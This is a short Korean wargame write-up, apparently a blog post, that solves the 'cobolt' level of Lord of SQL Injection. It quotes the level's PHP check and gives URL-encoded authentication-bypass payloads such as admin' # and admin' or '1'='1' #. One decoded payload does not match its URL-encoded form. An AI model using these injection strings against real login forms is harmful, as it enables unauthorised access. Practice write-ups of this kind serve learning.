소스코드 분석
gremlin 문제랑 별다를게 없음
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
그래서 id를 admin 이라는 조건만 맞춰주면 풀림
?id=admin%27%20%23
admin' #
----------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
?id=admin%27%20or%20%271%27=%271%27%20%23
admin' or '1'='1' #
이 조건을 줬을때는 풀리지가 않음
?id=admin%27%20or%20%272%27=%271%27%20%23
admin' or '1'='1' #
이 조건일때는 만족한다
true를 사용할 때 반환값이 여러개가 뜨고 id=admin은 반환값이 1개 라서
id=admin (참 : 1개) or true (참 : 여러개) 이렇게 되므로 여러개가 반환이된다.
(admin만 뜨게되면 뒤에 있는 true 조건에 부합하지 않아서 여러개를 반환한다고 생각함)
DB테이블에서 제일위에있는게 rubiya라는 값이라서 조건에 만족을 못시킨거 같다.
'WarGame > Web' 카테고리의 다른 글
[Lord of SQL injection] darkelf (0) | 2017.05.25 |
---|---|
[Lord of SQL injection] wolfman (0) | 2017.05.24 |
[Lord of SQL injection] orc (0) | 2017.05.24 |
[Lord of SQL injection] goblin (0) | 2017.05.24 |
[Lord of SQL injection] gremlin (0) | 2017.05.23 |